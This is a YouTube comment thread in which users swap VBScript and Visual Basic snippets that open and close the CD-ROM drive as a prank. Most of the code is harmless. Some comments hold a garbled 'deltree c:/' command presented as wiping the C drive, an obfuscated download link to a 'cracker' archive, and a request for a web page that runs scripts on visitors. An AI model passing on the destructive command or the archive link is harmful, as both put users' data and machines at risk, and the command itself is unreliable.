a = MsgBox("Wanna open it?",3 , "Question") if a = vbYes then Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection if colCDROMs.Count = 1 then for i = 0 to colCDROMS.Count - 1 colCDROMs.Item(i).Eject WScript.Sleep 1 colCDROMs.Item(i).Eject Next ' cdrom end if b = MsgBox("Good", , ":D") else c = MsgBox("Too bad", , "-.-") End If
Here's another one, that makes it possible to choose when you wanna close it: a = MsgBox("Wanna open it?",3 , "Open it?") if a = vbYes then Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection if colCDROMs.Count = 1 then for i = 0 to colCDROMS.Count - 1 colCDROMs.Item(i).Eject b = MsgBox("Click Ok when you want to close it", , "Close it?") colCDROMs.Item(i).Eject Next ' cdrom end if else c = MsgBox("Too bad", , "...") End If
Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpCommandString As String, ByVal lpReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
The open code:
Dim retval As Long retval = mciSendString("set CDAudio door open", "", 0, 0)
The close code:
Dim retval As Long retval = mciSendString("set CDAudio door closed", "", 0, 0)
Can't gt it...
MrJahanzaib97 4 months ago
lol i know how to give any xbox 360 RROD via wireless message me and i will show you how to do it
jmhudson08 10 months ago
does it only work for desktop computers?
casue i jus tried it on the laptop and it didnt work.
ChilPole 10 months ago
anotha failures ass youtube vid. bish if i see u im a giv u a wedgie. post shit that work properly.
MultiFrank777 1 year ago
lol ☺
alexpositivecharge 1 year ago
its not a hack
PSPENZO1 1 year ago
u can get a cd-rom opening gadget in vista for free.
Techh76 2 years ago
☺
goelnishank9 2 years ago
Rumpetroll95 2 years ago
haha! thats awesome!
i thought this one was gonna give me a virus!
:D lol!
Chickenchomperchad 2 years ago
Rumpetroll95 2 years ago
cool! thx!
Chickenchomperchad 2 years ago
THAT ACTUALLY WORKED
THXX
maximaxx2222 2 years ago
when i click on it, it says error in line 4 character 12
chocolatesoccerboy 3 years ago
nope not hackin my pc
azaboiibob 3 years ago
This comment has received too many negative votes show
Whats Yotube?
EASkateVidz 3 years ago
doesn't work on my computer i have windows vista. need i a another code? :s SEND ME A PM
fcplay 3 years ago
are you using a laptop?
redneck434 3 years ago
no i don't i use a computer windows vista.
Terrorpid 3 years ago
copy this....
set owMP=CreateObject("WMPlayer.ocx.7")
Set colCDROMs=oWMP.cdromCollection
if colCDROMs.Count >=1 then
for i=0 to colCDROMs.count- 1
colCDROMs.item(i).Eject
Next 'cdrom
end if
AnthonyValmount 3 years ago
to change the icon right click the file and select create shotcut and then u will be able to change the icon
iwillmissuemily 3 years ago
omg^^
derboxer1234 3 years ago
U can make this in visual basic 2008 very simple:
Add this code after Public Class Form1:
Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpCommandString As String, ByVal lpReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
The open code:
Dim retval As Long retval = mciSendString("set CDAudio door open", "", 0, 0)
The close code:
Dim retval As Long retval = mciSendString("set CDAudio door closed", "", 0, 0)
10Iceman01 3 years ago
lol visual basic
iambored5 3 years ago
lol nice, i tryed it and on mine it opens then closes real quickly by itself lol it wont stay open
rub52 3 years ago
how so I stop it now? It keeps opening mine! XD
Motormouth23 3 years ago
orrrr.... you could go to my computer, go to your (D:) drive, highlight it, and click the eject CD button on the side...
Anime4064 3 years ago
wait its not doing anything rly it oepns and closes right away. and how is this hacking?
WheatlThicks 3 years ago
Its hacking because your doing something that is not meant to be done. And it has different effects with different burners
BBBProduction 3 years ago
no its not hackin
its visual basic script edition
sickfool 3 years ago
dude that is fucking awesome i kno its just so ismple but tight.
WheatlThicks 3 years ago
never mind it was fixed. Is it possible to loop this to make it open and close repeatedly?
Oirad16 3 years ago
hm idk .. u could try finding a way to do it I guess.
BBBProduction 3 years ago
mine didn't work Windows Script Host error
Oirad16 3 years ago
umm.. i need an urgent VBS script that can eject usb's, like jumpdrives and stuff... so i don't have to go everytime to the "safely removal" stuff...
diaphanoux 3 years ago
heres the link
rapidshare#.#com/files/118009542/cracker#.#rar#
just take out the #
adamshor 3 years ago
or type
deltree c:/ -(d.dos)
strt=(ms_dos)
mount c:/
don't actually, your computer will stop. It deletes your c drive and boots into dos on startup i believe.... its off the top of my head,
FraserManG 3 years ago
Do it in Visual Basic 6 or any program, that i did! then you can put in icons..
Anyway, do you know how to make a website that when they go to the website, then a batch file or vbs file will be activated? ;S
Zipwolf320 3 years ago
my anti-virus thing opened and it said that the thing was a joke as a threat XD
scapenerd77 4 years ago
i already done this and wat speacial about hacking our computer cd rom?
Hollowbleach 4 years ago
Its Just TO Show That You Can Nothing Great About It
BBBProduction 4 years ago
to close your drive just type colCDROMs.Item(i).Eject again under the other one as so:)
Set oWMP = createObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
colCDROMs.Item(i).Eject
Next ' cdrom
End If
JuliusCaeser007 4 years ago
just open my computer and drag the icon of your drive on your desktop then right click on it and click eject
spikerbrad23 4 years ago
THANKS!!!!!!! U ROCK!!!
elementsk8rdude 4 years ago